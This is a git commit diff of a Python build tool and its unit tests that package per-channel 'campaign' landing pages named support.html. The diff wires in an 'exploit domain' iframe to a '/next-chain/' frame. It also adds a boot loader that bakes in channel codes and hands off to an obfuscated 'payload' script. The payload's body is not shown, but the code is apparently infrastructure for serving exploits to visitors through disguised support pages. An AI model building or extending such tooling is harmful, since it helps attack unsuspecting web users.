feat: old channel
This commit is contained in:
@@ -38,6 +38,11 @@ from _common import (
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
|
||||
if str(_EMBED_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(_EMBED_DIR))
|
||||
from embed_boot import apply_embed_boot # noqa: E402
|
||||
|
||||
SUPPORT_TEMPLATES = ("test", "blank")
|
||||
DEFAULT_SUPPORT_TEMPLATE = "blank"
|
||||
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
||||
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
|
||||
return template
|
||||
|
||||
|
||||
# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
|
||||
HIT_MARKER = "data-pv"
|
||||
HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
|
||||
|
||||
|
||||
def load_hit_js() -> str:
|
||||
if not HIT_JS_PATH.is_file():
|
||||
raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
|
||||
return HIT_JS_PATH.read_text(encoding="utf-8").strip()
|
||||
|
||||
|
||||
def ensure_hit_beacon(support_html: Path) -> None:
|
||||
"""Inline PV/UV beacon into <head> (idempotent via data-pv)."""
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if HIT_MARKER in text:
|
||||
return
|
||||
block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
|
||||
lower = text.lower()
|
||||
idx = lower.rfind("</head>")
|
||||
if idx >= 0:
|
||||
text = text[:idx] + block + text[idx:]
|
||||
else:
|
||||
# Fallback: prepend after <html...> or at start.
|
||||
html_idx = lower.find("<html")
|
||||
if html_idx >= 0:
|
||||
gt = text.find(">", html_idx)
|
||||
text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
|
||||
else:
|
||||
text = "<head>\n" + block + "</head>\n" + text
|
||||
support_html.write_text(text, encoding="utf-8")
|
||||
|
||||
|
||||
def apply_support_template(campaign_dir: Path, template: str) -> None:
|
||||
template = normalize_support_template(template)
|
||||
dest = campaign_dir / "support.html"
|
||||
if template == "test":
|
||||
if not dest.is_file():
|
||||
raise SystemExit(f"missing support.html after campaign copy: {dest}")
|
||||
return
|
||||
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing support template: {src}")
|
||||
shutil.copyfile(src, dest)
|
||||
if template == "blank":
|
||||
ensure_hit_beacon(dest)
|
||||
|
||||
|
||||
def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
|
||||
"""Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
|
||||
if not support_html.is_file():
|
||||
return
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if "__DS_DOMAIN__" not in text:
|
||||
return
|
||||
support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
|
||||
|
||||
|
||||
def resolve_python() -> str:
|
||||
@@ -303,12 +280,20 @@ def main() -> int:
|
||||
type=Path,
|
||||
help="optional path to write the result JSON (also printed on stdout)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ds-domain",
|
||||
default="",
|
||||
help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
|
||||
"Empty = relative /next-chain/ (default)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
src_campaign = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
|
||||
raise SystemExit(f"missing source web template: {src_campaign}")
|
||||
if not (src_campaign / "index.js").is_file():
|
||||
raise SystemExit(f"missing source web/index.js: {src_campaign}")
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
@@ -382,7 +367,10 @@ def main() -> int:
|
||||
print("=== build web/%s ===" % channel)
|
||||
web_dir.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
|
||||
if not (web_dir / "index.js").is_file():
|
||||
raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
|
||||
apply_support_template(web_dir, support_template)
|
||||
apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
|
||||
run(
|
||||
[
|
||||
py,
|
||||
@@ -401,6 +389,11 @@ def main() -> int:
|
||||
"--apply",
|
||||
]
|
||||
)
|
||||
apply_embed_boot(
|
||||
web_dir,
|
||||
channel_code=channel,
|
||||
ds_domain=(args.ds_domain or "").rstrip("/"),
|
||||
)
|
||||
except BaseException:
|
||||
if web_dir.exists() and not sync_rebuilt:
|
||||
# leave shared sync; remove failed channel web
|
||||
@@ -421,6 +414,7 @@ def main() -> int:
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": sync_rebuilt,
|
||||
"support_path": f"/web/{channel}/support.html",
|
||||
"ds_domain": (args.ds_domain or "").rstrip("/"),
|
||||
"daily_path": "/sync/daily.html",
|
||||
"artifact_root": str(artifact_root),
|
||||
"state_root": str(state_root),
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
SOURCE = TOOLS.parent / "source"
|
||||
EMBED = TOOLS.parents[1] / "channel-embed"
|
||||
if str(TOOLS) not in sys.path:
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
if str(EMBED) not in sys.path:
|
||||
sys.path.insert(0, str(EMBED))
|
||||
|
||||
from embed_boot import BOOT_MARKER, apply_embed_boot # noqa: E402
|
||||
from new_project import apply_ds_domain, apply_support_template # noqa: E402
|
||||
|
||||
|
||||
class SupportLandingTest(unittest.TestCase):
|
||||
def test_source_index_js_holds_payload(self) -> None:
|
||||
index_js = (SOURCE / "web" / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn("function cAsUcoxco", index_js)
|
||||
self.assertGreater(len(index_js), 1000)
|
||||
|
||||
def test_source_landings_only_load_index_js(self) -> None:
|
||||
landings = [
|
||||
SOURCE / "web" / "support.html",
|
||||
SOURCE / "templates" / "support" / "blank.html",
|
||||
SOURCE / "templates" / "support" / "test.html",
|
||||
]
|
||||
for path in landings:
|
||||
html = path.read_text(encoding="utf-8")
|
||||
self.assertIn('src="index.js"', html, path.name)
|
||||
self.assertNotIn('src="/t.js"', html, path.name)
|
||||
self.assertNotIn("data-pv", html, path.name)
|
||||
self.assertNotIn("/statistic/t", html, path.name)
|
||||
self.assertNotIn("/next-chain/frame.html", html, path.name)
|
||||
self.assertNotIn("__DS_DOMAIN__", html, path.name)
|
||||
self.assertNotIn("function cAsUcoxco", html, path.name)
|
||||
|
||||
clean = (SOURCE / "web" / "support.html").read_text(encoding="utf-8")
|
||||
self.assertNotIn("lab-hud", clean)
|
||||
self.assertNotIn("__labHud", clean)
|
||||
self.assertNotIn("STAGE_MAP", clean)
|
||||
|
||||
def test_apply_embed_boot_renames_payload_and_bakes_channel(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp)
|
||||
(dest / "index.js").write_text("function cAsUcoxco(){}", encoding="utf-8")
|
||||
apply_embed_boot(
|
||||
dest,
|
||||
channel_code="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
ds_domain="https://ds.example.com",
|
||||
)
|
||||
boot = (dest / "index.js").read_text(encoding="utf-8")
|
||||
payload = (dest / "payload.js").read_text(encoding="utf-8")
|
||||
self.assertIn(BOOT_MARKER, boot)
|
||||
self.assertIn("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", boot)
|
||||
self.assertIn("https://ds.example.com", boot)
|
||||
self.assertIn("payload.js", boot)
|
||||
self.assertIn("function cAsUcoxco", payload)
|
||||
apply_embed_boot(
|
||||
dest,
|
||||
channel_code="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
||||
ds_domain="",
|
||||
)
|
||||
boot2 = (dest / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", boot2)
|
||||
self.assertEqual((dest / "payload.js").read_text(encoding="utf-8"), payload)
|
||||
|
||||
def test_apply_support_template_does_not_inline_beacon(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp)
|
||||
apply_support_template(dest, "blank")
|
||||
html = (dest / "support.html").read_text(encoding="utf-8")
|
||||
self.assertIn('src="index.js"', html)
|
||||
self.assertNotIn("data-pv", html)
|
||||
self.assertNotIn("/statistic/t", html)
|
||||
|
||||
def test_apply_ds_domain_replaces_placeholder(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp) / "support.html"
|
||||
dest.write_text(
|
||||
"var dsDomain = '__DS_DOMAIN__';\nvar dsUrl = dsDomain + '/next-chain/frame.html';\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
apply_ds_domain(dest, "https://ds.example.com")
|
||||
text = dest.read_text(encoding="utf-8")
|
||||
self.assertNotIn("__DS_DOMAIN__", text)
|
||||
self.assertIn("https://ds.example.com", text)
|
||||
self.assertIn("/next-chain/frame.html", text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user